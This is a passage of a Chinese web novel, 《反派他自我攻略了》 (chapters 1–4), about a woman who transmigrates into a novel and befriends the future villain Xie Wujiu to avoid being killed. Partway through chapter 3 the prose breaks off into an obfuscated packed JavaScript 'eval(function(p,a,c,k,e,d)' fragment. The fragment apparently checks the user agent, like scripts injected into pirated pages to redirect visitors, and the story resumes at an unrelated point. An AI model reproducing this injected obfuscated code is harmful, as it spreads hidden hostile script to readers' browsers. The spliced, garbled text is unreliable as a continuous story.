《反派他自我攻略了》 1. 来了 虞昭迷迷糊糊睁开眼,后脑勺传来一阵阵钝痛。她下意识想抬手揉一揉,却被宽大的衣袖缠住了,那淡青色纱袖上绣着的缠枝花纹,随着她的动作轻轻晃悠着。 “这是哪儿?”她小声嘟囔着,声音在这空荡荡的屋子里显得格外清亮。话音刚落,她就被自己的嗓音吓了一跳,这声音清脆悦耳,完全不是她记忆中那个因为熬夜加班而沙哑的嗓音。 她猛地意识到,这绝不是她那间堆满外卖盒的单身公寓,身下硬邦邦的木榻,盖着的绣花锦被,还有空气中若有若无的熏香味儿,一切都透着陌生。虞昭猛地坐起身,一阵眩晕袭来。她赶紧扶住床柱,指尖触到冰凉的雕花木纹。 “我该不会......”一个可怕的念头闪过脑海,她心跳骤然加速。 “恭喜宿主成功绑定‘白月光自救系统’。”一个机械女声突然在她脑海中响起,“当前任务:拯救反派谢无咎,避免早死结局。” “谁?”虞昭惊得一把攥紧了被角,丝绸面料在她掌心皱成一团。她慌张地左右张望,房间里除了她空无一人,只有窗外传来几声清脆的鸟鸣。 “宿主在原世界已经因过劳猝死,现在穿越到小说《权倾天下》中,成为反派谢无咎的早死白月光虞昭。”系统的声音不带任何感情,“按照原著剧情,您将被谢无咎亲手杀死。” 虞昭的呼吸顿时急促起来,胸口剧烈起伏,她低头看着自己这双陌生的手,纤细又白皙,指甲修剪得圆润整齐,哪还是那双因常年敲键盘而磨出茧子的手? “我死了?然后还穿书了?”她声音都发颤了。 “是的。完成任务可获得生存机会。”系统继续道,“第一个任务:今日午时,谢无咎会在城西废弃土地庙中挨饿受冻,需要您去救助。” 虞昭掀开被子下了床,双腿却软得像面条,差点跪倒在地。她赶紧扶着床柱站稳,打量起四周来。这是一间古色古香的闺房,梳妆台上摆着铜镜和首饰盒,窗前书案摊开的诗集被风吹得哗哗作响,墨香混着熏香的味道萦绕在鼻尖。 “原主去哪儿了?”虞昭一边嘀咕着,一边往铜镜那儿走去,往镜子里一瞧,映出的是一张陌生的脸,柳叶眉,杏眼,樱桃小嘴的,活脱脱一个标准的古典美人。她下意识摸了摸自己的脸,镜中人也做了同样的动作。 “原主的灵魂已经消散,从现在起,您就是虞昭。”系统说道,“温馨提醒,您的行为会影响剧情走向,请您注意,谢无咎正被家族放逐,性格多疑偏执。若有异常举动,可能招致杀身之祸。” 虞昭深吸一口气,努力让自己冷静下来。她平时虽然看过不少穿越小说,但这种事真的发生在自己身上时,还是让她手足无措。现在保命最要紧,而关键就在那个叫谢无咎的反派身上。 “我该怎么救他?他会信我吗?”虞昭走到衣柜前,手指无意识地摩挲着柜门。打开柜门,里面整整齐齐叠放着各色衣裙,从素雅的月白色到鲜艳的胭脂红,每一件都做工精良。 “原著中虞昭今日本要去羞辱落魄的谢无咎。”系统解释道,“您需反其道而行。任务失败将提前迎来死亡结局。” 虞昭的手指在一件素色衣裙上停住了。她咬了咬下唇,赶紧换好衣服。丝绸面料贴在皮肤上凉丝丝的,让她不禁打了个寒颤。坐在梳妆台前,她笨手笨脚地梳理着长发,镜子里的她眉头紧皱,眼睛里满是惶恐。 “小姐?”门外突然传来轻轻的敲门声,一个清脆的女声响起,“您醒了吗?奴婢听见动静了。” 虞昭手一抖,梳子“啪嗒”一声掉在了地上。她咽了咽口水,努力让自己的声音听起来正常:“进、进来吧。” 门被轻轻推开,一个十五六岁的小丫鬟端着铜盆走了进来。盆里的热水冒着袅袅热气,水面上还飘着几片花瓣。 “小姐今日起得真早。”小丫鬟把铜盆放在架子上,拧了条热毛巾递过来,“您脸色看着不太好,可是昨夜没睡安稳?” 虞昭接过毛巾,温热湿润的触感让她稍微放松了些:“做了个噩梦。”她含糊地答道,趁机打量这个自称“奴婢”的姑娘——圆圆的脸蛋,灵动的眼睛,看起来单纯可爱。 “早膳都已经备好了。”小丫鬟一边熟练地帮虞昭绾发,一边说道,“老爷说今日要考校《女诫》,让您早些过去呢。” 虞昭心头一跳,她哪懂什么《女诫》?但现在最要紧的是去见那个谢无咎。“我、我这会儿有点头疼,想出去走走,你去告诉父亲,就说我晚些再去。” 小丫鬟面露难色:“可是老爷特意嘱咐......” “就说是大夫说的,我需要透透气。”虞昭从首饰盒里取出一支银簪,塞到小丫鬟手里,“帮我想想办法?” 小丫鬟犹豫了一下,接过银簪:“那小姐快去快回,奴婢这就去回话。” 虞昭这才松了口气。等小丫鬟离开后,她赶紧戴上帷帽准备出门。走到院门口时,她又折返回来:“那个...城西的土地庙怎么走?” 小丫鬟瞪大了眼睛:“小姐要去那儿?那里又脏又乱的,还有好多乞丐......” “我有事。”虞昭打断她的话,“你就告诉我怎么走就行。” 小丫鬟虽然满脸疑惑,但还是详细地指了路。 虞昭记下路线,急匆匆地出了门。初夏的阳光已经有些灼人,她拉低帷帽,快步走在陌生的街道上,心跳随着每一步逐渐加快。她即将要见的,可是未来会亲手杀死她的反派啊。 虞昭站在破庙门口,手指不自觉地绞紧了衣袖。她深吸一口气,在心里问道:“系统,谢无咎现在到底是什么状况?” “原著里,他是谢家庶子,生母早逝,性格阴郁。”系统的机械声在脑海中响起,“三年后他会成为权倾朝野的丞相,杀人不眨眼。不过现在,他刚被家族放逐,正处在人生低谷。” 虞昭的呼吸骤然凝滞。她看着眼前摇摇欲坠的庙门,喉咙发紧。自己马上要面对的可是个未来会要她命的危险人物,现在却要主动去救他,这感觉简直荒谬至极。 土地庙比她想象的还要破败。围墙塌了大半,露出里面斑驳的砖石。庙门歪斜地挂在门框上,随着风发出“吱呀吱呀”的声响,像是随时会掉下来。虞昭的手心沁出一层薄汗,在衣角上擦了擦。 “他真的在里面?”她小声确认,声音有些发抖。 “在,这会儿又冷又饿,还发着高烧。”系统回答得很肯定。 虞昭咬了咬下唇,终于鼓起勇气推开了那扇摇摇欲坠的庙门。门轴发出刺耳的摩擦声,一股霉味混着尘土的气息扑面而来,让她忍不住皱了皱鼻子。 庙里昏暗潮湿,只有几缕阳光从破损的屋顶漏下来,在地上投下斑驳的光影。 角落里蜷缩着一个身影,虞昭的心一下子提到了嗓子眼儿,她小心翼翼地往前走了几步,这才看清那是个二十出头的年轻男子。 谢无咎穿着脏兮兮的白衣,靠墙坐着,双眼紧闭。哪怕满脸病容,也掩不住那俊美的轮廓。他的嘴唇干裂,额头上布满了细密的汗珠。 这就是谢无咎。 虞昭的脚步骤然停住了,她心里天人交战:自己该怎么办?转身离开?还是按系统说的救他? 就在她犹豫的瞬间,谢无咎突然睁开了眼睛,那是一双漆黑如墨的眼睛,冰冷锐利,直直地盯着她。 “谁?”他的声音沙哑,却带着一股让人不敢忽视的威压。 虞昭呼吸一滞,下意识后退了半步,她瞧见谢无咎的手悄悄往身旁一块尖锐的碎瓦片那儿挪去,那是他现在唯一的“武器”了。 “我......”虞昭张了张嘴,只觉得喉咙发干。按照原著,此刻的她应该嘲笑他的落魄后扬长而去。但那样做,等待她的就是死亡结局。 谢无咎眼睛微微 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“帮忙?”谢无咎的眼神越发锐利,“一个穿着光鲜的千金小姐,独自来这种地方‘帮忙’?” 虞昭顿时觉得一阵无力,她正想着该如何解释,谢无咎突然剧烈地咳嗽起来,身体不受控制地前倾,手里的瓦片也“哐当”一声掉在了地上。 虞昭顾不上多想,快步上前扶住了他,一一碰到他的手臂,就被那滚烫的温度吓了一跳。“你发烧了!” 谢无咎想推开她,却虚弱得使不上力,“放开......”他的声音已经含糊不清。 “不行,你得看大夫。”虞昭坚定地说道,这会儿反倒顾不上害怕了,“这么烧下去会出事儿的。” 谢无咎的眼神开始涣散,高烧显然已经影响到他的神志。“为什么...帮我......”他喃喃地问,眼皮沉重地耷拉。 虞昭没有回答他。其实她自己也不确定为什么要帮他,只知道如果现在转身离开,这个虚弱的年轻人很可能会死在这里,而她的任务也就失败了。 “坚持住,”她轻声说,扶着谢无咎慢慢躺平,“我这就去找人来帮忙。” 她刚准备起身,谢无咎突然伸手抓住了她的手腕,他的手掌滚烫,力道却大得惊人,“别走......”他含糊不清地说着,眼睛半闭,“他们会...杀了我......” 虞昭僵在了原地,她不知道谢无咎说的“他们”是谁,但他此刻的脆弱和恐惧如此真实,让她实在狠不下心离开。 “好,我不走。”虞昭轻声答应,又重新蹲下身来,“不过我得想办法帮你退烧。” 她环顾四周,发现庙门口长着些野草,其中有一种叶片细长的植物,她隐约记得好像有退热的功效。虞昭轻轻挣开谢无咎的手:“我去门口摘些草药,马上就回来,好吗?” 谢无咎没有回应,已经陷入半昏迷状态。 虞昭快步走到门口,摘了几株那种野草,她不确定是否真的有用,但总比什么都不做强。回到庙里,她把草药揉碎,挤出汁液滴在谢无咎干裂的嘴唇上。 “喝点水。”虞昭扶起谢无咎的头,把水囊凑到他嘴边,谢无咎本能地吞咽了几口,跟着又是一阵咳嗽。 虞昭手忙脚乱地拍着他的背,这才意识到自己的行为有多冒险。若是被人知道她一个未出阁的姑娘独自在此照顾陌生男子,后果不堪设想。但现在保命要紧,顾不得那么多了。 “系统,”虞昭在心里问道,“他会死吗?” “原著里他活下来了。”系统回答道,“不过您的行为已经改变剧情走向了。” 虞昭咬了咬唇,继续用湿布擦拭着谢无咎滚烫的额头,他的呼吸倒是渐渐平稳了些,但体温仍然高得吓人。 “我得带他去看大夫。”虞昭下定决心,正准备想办法搬动谢无咎时,庙外突然传来脚步声。 2. 医馆看病 虞昭的心一下子又提到了嗓子眼儿,整个人僵在原地。脚步声越来越近,她大气都不敢出一下,紧张地看向庙门,手也不自觉地抓紧了衣角。 谢无咎仍在半昏迷中,对外面的动静毫无反应。虞昭急得额头直冒汗,要是被人看见她一个未出阁的姑娘和陌生男子独处在这破庙里,那可就百口莫辩了。 “嘎吱”一声,庙门被推开。一个穿着粗布衣裳的老头儿探头进来,看见庙里的情形明显一愣,眉头立刻皱成了疙瘩:“哟,这是咋回事儿,姑娘家咋在这儿?” 虞昭慌忙站起身,衣袖带倒了地上的水囊,水洒了一地。她结结巴巴地解释:“大爷,我、我路过这儿,看见他病得厉害,就想着帮帮他,可他烧得太厉害了,我正想带他去看大夫......” 老头儿狐疑地打量着虞昭精致的衣裙,又看看地上奄奄一息的谢无咎:“姑娘,这事儿可不太妥当。你一个没出阁的小姐,跟个陌生男子在这破庙里,传出去名声还要不要了?” 虞昭心里也知道这理儿,可她哪顾得上那些:“大爷,我知道不好,可人命关天啊!您就行行好,帮我把他送去医馆呗,我、我给您银子。”说着,她就伸手往怀里摸,想掏出些银子来。 老头儿摆摆手,粗布衣袖跟着晃动:“哎,银子倒不用,我就是担心你,姑娘。罢了罢了,我帮你这一回吧,不过咱可得快点,别让人瞧见了。” 虞昭如释重负,连连点头:“太谢谢您了,大爷,咱们这就走。” 两人合力扶起谢无咎。老头儿一边搀扶一边嘟囔:“这小伙子看着也是遭了大难了,咋病成这样还在这破地方。” “是,大爷,他挺可怜的,咱可得救救他。”虞昭附和着,小心避开地上的瓦砾。谢无咎的身子沉甸甸的,她不得不咬紧牙关才能扶稳。 走出庙门,初夏的阳光刺得虞昭眯起眼。街上行人不多,但她还是紧张地左顾右盼,生怕遇见熟人。谢无咎的身子越来越沉,她的小臂已经开始发酸。 “姑娘,前面拐角就有家医馆。”老头儿喘着气说,“再坚持会儿。” 好不容易到了医馆门口,虞昭顾不上擦汗就喊:“大夫!快来看看!” 一个中年大夫掀开帘子走出来,看到他们这副模样立刻皱眉:“怎么弄成这样?快扶进来!” 医馆里弥漫着浓浓的药香。他们把谢无咎安置在简陋的病床上,虞昭的胳膊终于得以放松,酸胀得直发抖。 大夫仔细地为谢无咎把脉,又翻开他的眼皮看了看。虞昭在一旁坐立不安:“大夫,他怎么样?没啥大碍吧?” “烧得不轻,染了风寒。”大夫收起手,“得好好治一阵子。幸亏送来得及时,再晚点就危险了。” 虞昭长舒一口气,悬着的心总算放下些:“那那太好了,请您一定好好医治。” 大夫点点头,随即话锋一转:“那是自然,治病救人是咱的本分。不过姑娘,你是他什么人?这诊金和药费得先付。” 虞昭一愣,手不自觉地摸向荷包。她出门匆忙,带的银子根本不够:“大夫,我、我银子没带够,您看能不能先欠着,我回去取了马上送来。” 大夫面露难色,粗糙的手指敲着桌面:“姑娘,我们小本经营,向来都是现钱结账的,你这......” 老头儿适时开口:“大夫,这姑娘也是好心,救人要紧,要不我给做个担保,先让这小伙子治着,姑娘回去取了银子就送来,咋样?” 大夫看看老头儿,又看看虞昭焦急的样子,终于松口:“行吧,看在您老面子上。姑娘快去快回。” “太谢谢您了!”虞昭感激地朝老头儿鞠躬,“我这就回去取钱,马上回来!” 老头儿摆摆手:“去吧去吧,姑娘,动作快点儿啊。” 虞昭匆匆往外走,临出门又回头看了眼病床上的谢无咎。他的脸色依然苍白,但至少现在有大夫照看了。她拢了拢散乱的头发,快步朝家的方向跑去。 虞昭急匆匆地出了医馆,她顾不上擦额头上沁出的汗珠,拎着裙摆快步往家的方向赶。路面被晒得发烫,隔着绣花鞋底都能感觉到热气。 “谢无咎现在不知道怎么样了......”她心里惦记着,脚步不自觉地又加快了几分。路边几个卖菜的妇人好奇地打量这个行色匆匆的大家小姐,虞昭却顾不上理会,只想着赶紧取了银子回去。 刚进院门,就碰见了早上那个小半莲,半莲一见她,连忙放下手中的活计迎上来:“小姐,您可算回来了,老爷都派人问了好几回了,您这是去哪儿了?” 虞昭气喘吁吁地站定,胸口剧烈起伏。她用手背抹了把脸上的汗:“我、我有点急事,先不说这个,我屋里还有多少银子,快给我拿来。” 半莲瞪大了眼睛,手里的帕子都掉在了地上:“小姐要银子做什么?可是遇到什么麻烦了?” “哎哎呀,你就别问了。”虞昭急得直跺脚,发髻上的珠花跟着一晃一晃的,“快去帮我找找,我有急用!” 半莲见她这副模样,也不敢多问,连忙转身往屋里跑。虞昭在院子里来回踱步,时不时往院门外张望,生怕耽误久了医馆那边出什么岔子。 不一会儿,半莲捧着一个绣着梅花的青色荷包小跑回来:“小姐,这是咱屋里现有的银子了,您看看够不够?” 虞昭接过荷包,沉甸甸的。她解开系带看了看,里面有几块碎银子和一串铜钱:“应该够了。”她长舒一口气,把荷包紧紧攥在手里,“我还得出去一趟,你帮我跟老爷说一声,就说我很快就回来啊。” 半莲欲言又止,最后还是点点头:“那小姐您快去快回,可别让老爷生气了。” “知道了知道了。”虞昭一边应着一边已经往院门外走,走了两步又回头叮嘱,“要是有人问起,就说我去买绣线了!” 说完,她拎起裙摆小跑着出了门。街上的人比来时多了不少,虞昭不得不放慢脚步,但心里却急得像热锅上的蚂蚁。她摸了摸怀里的荷包,暗自祈祷谢无咎的情况没有恶化。 虞昭三步并作两步跑进医馆,额前的碎发都被汗水打湿了。大夫正在药炉前扇火熬药,见她进来,抬头道:“姑娘,银子带来了吧?” 虞昭连忙从怀里掏出那个青色荷包,双手递过去,“带来了,大夫,您看看够不够?” 大夫接过荷包,数了数里面的银子:“嗯,够了够了。”说着将荷包收进袖中,“姑娘有心了。这药刚熬上,还得等会儿,你可以先在这儿守着。” 虞昭点点头,轻手轻脚地走到病床边。谢无咎的脸色还是惨白得吓人,但呼吸已经平稳许多。她悄悄松了口气,在心里念叨:“你可一定要快点好起来,不然我这任务可怎么办......” 药炉上的砂锅咕嘟咕嘟冒着热气,苦涩的药香弥漫在整个医馆里。大夫时不时用木勺搅动几下,又往炉子里添了把柴火。 “姑娘,来搭把手。”终于,大夫端着药碗走过来,“扶他起来把药喝了。” 虞昭赶紧上前,一只手小心地托起谢无咎的后颈,另一只手扶着他的肩膀。他的身子滚烫,隔着单薄的衣衫都能感觉到热度。 “谢无咎,醒醒。”她轻声唤道,“该喝药了。” 谢无咎睫毛颤了颤,缓缓睁开眼。那双漆黑的眼睛里还带着迷茫,看清是虞昭后,他虚弱地问:“你......怎么还在这儿?” “我当然在啊。”虞昭接过药碗,舀了一勺褐色的药汁,“你病着,我得看着你好起来。”她将勺子凑到他唇边,“快喝药,喝了才能退烧。” 谢无咎皱了皱眉头,似乎不太愿意喝药,他勉强张开嘴,药汁刚入口就剧烈地咳嗽起来,差点把药都吐出来。 “慢点慢点。”虞昭连忙放下药碗 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谢无咎眼神一暗,缓缓说道:“被家族放逐了。”他盯着房梁,“他们容不下我。” 虞昭心头一紧。虽然早知道剧情,但亲耳听他说出来还是让人难受。“他们太过分了!”她忍不住道,“不过等你病好了,肯定能重新振作起来的。” 谢无咎转过头来,那双总是冰冷的眼睛里竟流露出一丝暖意:“借你吉言。”他轻叹一声,“不过这世上的事儿,哪有那么容易。” 两人正说着话,医馆的木门突然“砰”的一声被推开。一个身着锦缎长袍的年轻公子大步走进来。 “虞昭!”那公子一眼就看见坐在病床边的妹妹,脸色瞬间阴沉下来,“你在这里做什么?还和个陌生男子独处一室,成何体统!” 虞昭心里“咯噔”一下,手中的帕子掉在了地上。来的正是原主的兄长虞明,在原主记忆里,这位兄长向来严厉,最重规矩。 虞昭慌忙站起身:“哥哥,你听我解释,他病得厉害,我、我就是看他可怜,帮着照顾一下,没别的意思。” “没别的意思?”虞明厉声打断,几步上前拽住她的手腕,“一个未出阁的姑娘,在医馆里伺候陌生男子,传出去我们虞家的脸往哪搁?”他的手指收得很紧,掐得虞昭生疼。 “哥哥,你弄疼我了!”虞昭挣扎着想抽回手:“他还病着,我还得看着他好起来,你先让我留下吧。” 虞明冷笑一声:“还敢顶嘴?看来是我平日太纵着你了。”他用力一拽,“跟我回去!” 虞昭被拉得踉跄几步,回头看向病床上的谢无咎。他已经撑着坐起身,苍白的脸上满是焦急:“这位公子,令妹只是...” “住口!”虞明怒目而视,“我妹妹的名节岂是你能议论的?”说着就要往外拖虞昭。 谢无咎想下床阻拦,却因体力不支摔倒在地,发出一声闷响。虞昭心疼得红了眼眶:“哥哥!他都摔倒了!” “管好你自己吧!”虞明丝毫不为所动,铁青着脸将她拽出医馆。 外面天色已晚,街上行人纷纷侧目。虞昭被塞进候在门外的马车,虞明紧随其后上了车,对车夫喝道:“回府!” 马车里,虞昭缩在角落,眼泪在眼眶里打转:“哥哥,你听我说......” “闭嘴!”虞明气得手指发抖,“等回去见了父亲,看你怎么交代!” 回到虞府,虞老爷已经在正厅等着了。见他们进来,重重拍了下桌子:“跪下!” 虞昭咬着嘴唇跪在地上,石板的凉意透过裙摆传来。 “你可知错?”虞老爷须发皆张,“一个大家闺秀,跑去医馆照顾陌生男子,成何体统!” “父亲,我只是...” “还敢狡辩!”虞老爷怒喝,“从今日起,不许踏出房门一步!好好反省!” 3. 暗度陈仓 虞昭被半莲搀回房间后,一屁股坐在床沿上,越想越气,忍不住小声嘟囔着:“我这都是为了救人,怎么就错了,还把我关在屋里,这算什么事儿。” 正念叨着,那个机械化的女声突然在脑海中响起:“宿主,请记住你的首要任务是刷满谢无咎的好感值。否则按照原著剧情,你将被他亲手杀死。” 虞昭气得翻了个白眼,在心里回道:“我当然知道要刷好感值!可现在被关在屋里,怎么刷?”她越想越气,“这破任务也太不讲理了!” 系统平静地回答:“这是你必须面对的现实。建议你寻找机会与谢无咎接触,提升好感度。” 虞昭猛地站起身,在房间里来回踱步。木地板被她踩得吱呀作响。“谢无咎现在刚生完病,身子还虚着...”她咬着指甲自言自语,“我本来该去照顾他的......” 半莲正在整理床铺,见状放下手中的活计:“小姐,您这是在担心那位谢公子吗?” 虞昭停下脚步,叹了口气:“是啊,我答应要看着他好起来的。可现在...”她指了指紧闭的房门,一脸无奈。 半莲歪着头想了想,眼睛突然一亮:“小姐,要不我帮您送封信去?您可以在信里问问他的情况,表达关心。” “对啊!”虞昭一拍手,快步走到书桌前,“我怎么没想到这个办法!”她铺开宣纸,又突然犹豫起来,“可是这信该怎么写才好?” 半莲掩嘴轻笑:“小姐就写心里话呗。您平时怎么想的,就怎么写。” 虞昭点点头,蘸了蘸墨汁,毛笔在纸上轻轻滑动: “谢公子: 今日未能前去看望,实属无奈。虽身困于此,心却时时挂念。盼君早日康复,若有需要之处,尽管告知......“ 写完后,她轻轻吹干墨迹,小心地将信纸折好,递给半莲:“千万要小心,别让人发现了。” 半莲将信藏进袖中,俏皮地眨眨眼:“小姐放心,我这就去。”她走到门口,又回头道,“要不要...再带些点心去?谢公子病着,怕是没什么胃口......” 虞昭眼睛一亮:“对对对,你去厨房拿些软和的糕点,就说是我要吃的。”她想了想又补充,“再带些蜜饯,药苦,吃了能缓缓。” 半莲点点头,轻手轻脚地出了门。虞昭趴在窗边,看着她的身影消失在夜色中,心里既期待又忐忑。不知道谢无咎收到信会是什么反应...... 这边谢无咎坐在小院的石凳上,手里捧着一卷书,却一个字也没看进去。他心里也正想着虞昭,想着她这几日被关在家里,也不知道怎么样了,自己还没好好谢谢她救了自己的命。 正出神时,院门处传来轻轻的叩门声。谢无咎放下书卷,快步走去开门。门外站着的是虞昭的贴身丫鬟半莲,手里还提着个食盒。 “谢公子,”半莲行了个礼,“我家小姐让我来给您送信。” 谢无咎眼睛一亮,连忙接过信:“虞昭小姐她...还好吗?” “小姐被老爷关在房里,出不来。”半莲叹了口气,又递上食盒,“这是小姐让带的点心,说您病刚好,得补补身子。” 谢无咎接过食盒,手指微微发颤。打开信仔细地看了起来,看着看着,脸上就露出了一丝笑容。 “劳烦你回去告诉虞昭小姐,”他小心折好信纸,“我身子已经大好了,请她不必挂心。这份情谊,谢某铭记于心。” 半莲笑着应下:“谢公子放心,我一定把话带到。”她看了看天色,“时候不早了,我得赶紧回去,免得被人发现。” 送走半莲后,谢无咎回到屋里,将信放在案头。他打开食盒,里面整齐地码着几样精致的点心和一包蜜饯。他拿起一块咬了一口,甜而不腻,就像...就像那个救了他的姑娘一样。 另一边,半莲轻手轻脚地溜回虞昭的闺房。虞昭正坐在窗边发呆,见她回来立刻跳起来:“怎么样?他...还好吗?” “小姐放心,”半莲拍拍胸口,“谢公子说他身子好多了,还让我转告您,说这份情谊他记在心里了。” 虞昭长舒一口气,脸上终于有了笑容:“那就好...我还怕他怪我失约......” “哪儿能啊!”半莲凑近些,压低声音,“我看谢公子看信的时候,嘴角都翘起来了。小姐这封信写得可真好!” 虞昭脸一红,轻轻打了她一下:“净胡说......”她走到梳妆台前,看着铜镜里的自己,“可我总不能一直这样偷偷摸摸的...得想个法子让父亲放我出去才行。” “小姐不如去跟老爷认个错?”半莲建议道,“就说您知道错了,以后一定守规矩......” 虞昭咬了咬嘴唇:“也只能这样了。”她整理了一下衣裙,“我现在就去求父亲。” 走到门口,她又回头叮嘱:“要是...要是谢公子再让人带话,你一定要立刻告诉我。” 半莲抿嘴一笑:“知道啦,小姐快去吧。” 虞昭深吸一口气,推开门往父亲的书房走去。她心里盘算着待会儿要说的话,既紧张又期待。 虞昭来到父亲的书房前,轻轻敲了敲门,听到里面传来父亲的声音:“进来。” 虞昭推开门,阳光从窗棂斜射进来,照在父亲案头的砚台上。她小心翼翼地走到书桌前,低着头:“父亲,我来向您认错了。” 虞老爷放下手中的书卷,抬眼看着她。虞昭能感觉到父亲的目光在自己身上停留,她紧张地绞着手指:“我知道之前不顾名声去照顾陌生男子是我不对,让您和家里操心了...” 她偷偷抬眼看了看父亲的脸色,见他眉头舒展了些,赶紧接着说:“我保证以后一定谨守规矩,不会再犯这样的错了。您就原谅我这一回吧...”说着声音渐渐低了下去,“我在屋里闷了这些天,都快憋坏了。” 虞老爷叹了口气,拿起桌上的茶盏抿了一口:“你这丫头,总算知道错了?”他放下茶盏,发出“咔嗒”一声轻响,“既然知错,为父就再信你一回。” 虞昭眼睛一亮,差点就要跳起来,赶紧又强行按捺住:“谢谢父亲!我一定不会再闯祸了!” “去吧,”虞老爷摆摆手,“记得早点回来,别让为父担心。” “知道了!”虞昭行了个礼,转身时裙摆都跟着欢快地打了个旋儿。她轻手轻脚地关上门,一出门就忍不住小跑起来,发出轻快的声响。 回到自己院里,半莲正在修剪花枝,见小姐满面春风地跑来,立刻放下剪刀:“小姐,老爷答应放您出去了?” “答应了!”虞昭一把拉住半莲的手,“快,咱们这就去看看谢无咎!我都好几天没见到他了。” 半莲抿嘴一笑:“小姐稍等,我去拿些点心带上。”她转身进了小厨房,不一会儿就提了个食盒出来,“刚做的桂花糕,还热乎着呢。” 主仆二人出了院门,初夏的风带着花香扑面而来。虞昭的脚步轻快得像只小鹿,半莲小跑着才能跟上:“小姐慢些,小心绊着!” “我这不是着急嘛,”虞昭放慢脚步,脸上却掩不住笑意,“也不知道谢无咎这几天恢复得怎么样了......” 转过几条街巷,谢无咎住的小院就在眼前。虞昭突然有些紧张,停下来整了整衣裙和发髻:“半莲,我这样...还行吗?” 半莲噗嗤一笑:“小姐美着呢,快去吧!” 虞昭深吸一口气,抬手轻轻叩响了院门。心跳声大得仿佛整个巷子都能听见,她不由自主地咬着下唇,眼睛一眨不眨地盯着那扇木门,等待着那个熟悉的身影出现。 不一会儿,木门“吱呀”一声打开,谢无咎那张带着惊喜的脸出现在门后。 “虞昭!”他的眼睛一下子亮了起来,“我还想着你什么时候能出来呢。” 虞昭忍不住笑了,脸颊微微泛红:“我求了父亲好久,他才答应放我出来。”她上下打量着谢无咎,“你身子好些了吗?” 谢无咎侧身让开门口:“好多了,多亏了你。”他领着虞昭往屋里走,还特意在堂屋里转了个圈,“你看,我现在走路都不用人扶了。” 虞昭看着他略显虚浮但已经稳健许多的步伐,心里一块大石头总算落了地:“那就好,看到你恢复得这么好,我就放心了。”她将手中的食盒放在桌上,“对了,你这几天吃的用的都够吗?” “够的够的,”谢无咎给她倒了杯茶,“我自己也能出去买些东西了,你别总操心我。”茶水的热气在两人之间袅袅升起,“你能来看我,我就很高兴了。” 两人坐在屋里聊了起来,虞昭说起自己被关在屋里的趣事,谢无咎则讲着自己养病时的见闻。说到有趣处,虞昭忍不住掩嘴轻笑,谢无咎的眼中也多了几分暖意。 聊着聊着,虞昭突然拍了下额头:“哎呀,差点忘了正事。”她从袖中掏出一张纸,“这几天我在家翻了些医书,找到几个调养的方子,觉得挺适合你的。” 谢无咎接过纸张,上面密密麻麻写满了娟秀的字迹。他的手指轻轻抚过那些字:“你还特意为我找方子。”声音有些发紧。 “这有什么,”虞昭摆摆手,“朋友之间互相帮忙不是应该的嘛。你照着方子调理,肯定能好得更快。” 谢无咎将方子小心地折好,放进怀中:“虞昭,你对我这么好,我真不知道该怎么报答......” “又说这话,”虞昭佯装生气地瞪了他一眼,“咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小厮回头见是小姐,连忙行礼:“小姐,这人说是谢公子派来的,要送东西给您。小的不敢确定真假,就没放他进来。” 虞昭仔细打量来人,是个二十出头的年轻男子,穿着整洁的粗布衣裳,看着倒是一脸老实相。 “你当真是谢公子派来的?”虞昭问道。 那人连忙躬身行礼:“虞小姐明鉴,小的确实是谢公子府上的。公子说前些日子多亏小姐照顾,特意备了些薄礼,让小的送来。”说着双手奉上木匣,“这是城里最有名的点心铺子的糕点,还有...”他压低声音,“公子亲手做的一个小玩意儿。” 虞昭眼睛一亮,接过木匣:“难为他还惦记着。”转头对小厮道,“这位小哥大老远来送东西,去厨房给他倒碗茶喝。” 那人连连摆手:“不用麻烦,公子还等着小的回话呢。” 虞昭点点头:“那你替我谢谢谢公子,就说、就说我很喜欢。” 送走来人后,虞昭迫不及待地打开木匣。上层整齐码着几样精致的点心,下层则是一个小巧的木雕小鸟,做工虽不精细,却透着几分稚拙的可爱。 半莲凑过来看:“呀,这鸟儿雕得真有趣!谢公子还会这个?” 虞昭小心翼翼地拿起木鸟,发现翅膀居然可以活动,轻轻一碰就扑扇起来。她忍不住笑出声:“没想到他还有这手艺。” “小姐,”半莲眨眨眼,“看来谢公子对您是真上心了。这可比买现成的礼物用心多了。” 虞昭看着桌上的东西,笑着对半莲说:“这谢无咎还挺有心的,还想着给我送东西,看来他对我的好感确实增加了不少。” 半莲笑着说:“那可不,小姐您对他这么好,他肯定也想着对您好,我看,您这刷好感值的事儿进行得挺顺利的。” 虞昭红着脸,嗔怪道:“你这丫头,就会打趣我,好了,不说这个了,咱们把这些东西收起来吧。” 虞昭把木鸟放回匣中,突然想起什么,抬头问道,“你说,我该回个什么礼好?” 半莲想了想:“不如小姐也亲手做点什么?谢公子不是喜欢读书吗,绣个书签如何?” 虞昭眼前一亮:“这个主意好!我记得库房里有块上好的锦缎...”说着就要起身去找。 “小姐别急,”半莲笑着拦住她,“先把这些点心收好,别让老爷看见了又该说您了。” 虞昭这才想起父亲的叮嘱,赶紧合上匣子:“对对,先收起来。”她抱着木匣往内室走,脚步轻快得像只小鸟,心里盘算着,这谢无咎对自己越来越好了,可自己也不能掉以轻心,还得继续想办法,让他对自己的好感再多一些才行,毕竟这可是关乎自己性命的大事。 4. 救仆示好 虞昭坐在院子里的小石凳上,手里捧着半盏清茶。初夏的阳光透过树叶间隙洒在地上,斑斑驳驳。半莲正蹲在花圃边,小心翼翼地修剪着几株新开的月季,花蕊在微风中轻轻颤动,散发着阵阵甜香。 “小姐,您看这朵开得多好。”半莲捧着一株粉白的月季转过身来,却发现虞昭正望着远处出神,茶都凉了也没喝一口。 “小姐?”半莲轻轻唤了一声。 虞昭这才回过神,嘴角不自觉地扬起一丝笑意:“啊?哦...这花是好看。”她抿了口茶,眼神又飘向了远处,显然心思还在别处。 她正出神想着谢无咎的事,忽然听见急促的脚步声。 小厮阿旺气喘吁吁地冲了进来:“小、小姐!不好了!” 虞昭手中的茶盏一晃,茶水溅在了手背上:“怎么了?” 阿旺上气不接下气地说:“刚、刚才听街上人说,谢公子身边的阿福被人砍伤了,就躺在西街口,流了好多血,眼看就要不行了!” 